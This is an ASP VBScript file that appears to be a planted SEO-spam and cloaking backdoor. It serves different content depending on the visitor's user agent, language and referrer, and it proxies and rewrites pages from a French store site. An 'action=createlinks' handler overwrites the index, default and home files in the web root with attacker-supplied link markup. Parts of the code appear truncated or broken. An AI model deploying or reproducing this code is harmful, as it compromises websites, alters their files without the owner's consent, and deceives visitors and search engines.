<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% lailu=Request.ServerVariables("HTTP_REFERER") lang=Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") zhizhu=Request.ServerVariables("HTTP_USER_AGENT") lang=LCase(Mid(lang,1,4)) zhizhu=LCase(zhizu) 'response.write lang zt="0" if instr(zhizhu,"aol") or instr(zhizhu,"google") or instr(zhizhu,"soso") or instr(zhizhu,"bing") or instr(zhizhu,"sogou") or instr(zhizhu,"360") then zt="1" elseif instr(lang,"de") or instr(lang,"zh") or instr(lang,"en") or instr(lang,"fr") or instr(lang,"el") or instr(lang,"da") or instr(lang,"nl") or instr(lang,"ko") or instr(lang,"jp") or instr(lang,"es") or instr(lang,"nb-no") or instr(lang,"pl") or instr(lang,"ru") or instr(lang,"sv") or instr(lang,"pt") then zt="2" elseif lailu<>"" then zt="3" else zt="4" end if 'response.write zt if zt="1" or zt="2" then response.write "" response.end else if zt="3" then response.write "" response.end end if end if %> <% server.ScriptTimeout=9999999 On Error Resume next %> <% action=request("action") replacestr=request("replacestr") If action="createlinks" and replacestr<>"" Then Response.Write CreateLink() Response.End End If queryStr=Trim(Request.QueryString) siteUrl="http://www.basketstore.fr" jsUrl="" previousUrl="" locationUrl=GetLocationURL() sourceBody=GetResStr(siteUrl&"/"&queryStr) sourceBody=replace(sourceBody,"'","""",1,-1,1) sourceBody=replace(sourceBody,""""&"/",""""&siteUrl&"/",1,-1,1) sourceBody=replace(sourceBody,"../../../","../",1,-1,1) sourceBody=replace(sourceBody,"../../","../",1,-1,1) sourceBody=replace(sourceBody,"../",siteUrl&"/",1,-1,1) sourceBody=replace(sourceBody,""""&"includes/",""""&siteUrl&"/includes/",1,-1,1) sourceBody=replace(sourceBody,""""&"images/",""""&siteUrl&"/images/",1,-1,1) sourceBody=replace(sourceBody,""""&"js/",""""&siteUrl&"/js/",1,-1,1) sourceBody=replace(sourceBody,""""&"products/",""""&siteUrl&"/products/",1,-1,1) sourceBody=RegexReplace(sourceBody,"","") sourceBody=RegexReplace(sourceBody,"http://js.users.51.la/(.*?).js","") sourceBody=replace(sourceBody,"cnzz.com/z_stat.php","",1,-1,1) sourceBody=replace(sourceBody,"google-analytics.com/ga.js","",1,-1,1) sourceBody=replace(sourceBody,"","
"&previousUrl&"
",1,-1,1) sourceBody=RegexReplace(sourceBody,"","") 'sourceBody=replace(sourceBody,"104 then sourceBody=replace(sourceBody,"href="""&chr(i),"href="""&locationUrl&"?"&chr(i),1,-1,1) end if next Set regEx=new RegExp regEx.Pattern="http://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)?" regEx.IgnoreCase=True regEx.Global=True Set matches=regEx.Execute(sourceBody) For Each data In matches if instr(data,".js")=0 and instr(data,".css")=0 and instr(data,".ico")=0 and instr(data,"w3.org")=0 and instr(data,".jpg")=0 and instr(data,".png")=0 and instr(data,".gif")=0 then newUrl=replace(data,siteUrl&"/",locationUrl&"?",1,-1,1) else newUrl=replace(data,siteUrl&"/","",1,-1,1) end if if data<>siteUrl&"/" then sourceBody=replace(sourceBody,data,newUrl) end if Next sourceBody=replace(sourceBody,""""&siteUrl&"/"&"""","""?""",1,-1,1) sourceBody=replace(sourceBody,""""&siteUrl&"""","""?""",1,-1,1) sourceBody=replace(sourceBody,"src="""&locationUrl&"?","src=""",1,-1,1) sourceBody=replace(sourceBody,"","",1,-1,1) sourceBody=replace(sourceBody,"??","?",1,-1,1) sourceBody=replace(sourceBody,"""?""",""""&locationUrl&"?"&"""",1,-1,1) Response.Addheader "Content-Type","text/html;charset=utf-8" Response.Write jsUrl&sourceBody Response.End Function GetLocationURL() Dim Url Dim ServerPort,ServerName,ScriptName ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName GetLocationURL=Url End Function Function CreateLink() set fso=CreateObject("Scripting.FileSystemObject") set fs=fso.GetFolder(Server.MapPath("/")) For Each file In fs.Files If instr(LCase(file.name),"index")>0 or instr(LCase(file.name),"default")>0 or instr(LCase(file.name),"home")>0 Then set fsofile=fso.OpenTextFile(file, 1, true) On Error Resume next tempstr=fsofile.Readall pos1=instr(tempstr,"
") If pos1>0 then tempstr=RegexReplace(tempstr,"
(.+?)","") End If tempstr=replace(tempstr, "", "
"&replacestr&"
") set fsofile1=fso.OpenTextFile(file, 2, true) fsofile1.WriteLine tempstr fsofile1.close CreateLink="linkbyme" End If Next set fso=nothing End Function function GetResStr(URL) Dim ResBody,ResStr,PageCode Set Http=server.createobject("msxml2.serverxmlhttp.3.0") Http.setTimeouts 60000, 60000, 60000, 60000 Http.open "GET",URL,False Http.Send() If Http.Readystate =4 Then If Http.status=200 Then ResStr=http.responseText ResBody=http.responseBody PageCode="utf-8" GetResStr=BytesToBstr(http.responseBody,trim(PageCode)) End If End If End Function Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function RegexReplace(source1,pattern1,replace1) Set re = New RegExp re.Pattern = pattern1 re.Global = True re.IgnoreCase = True RegexReplace= re.replace(source1,replace1) End Function %>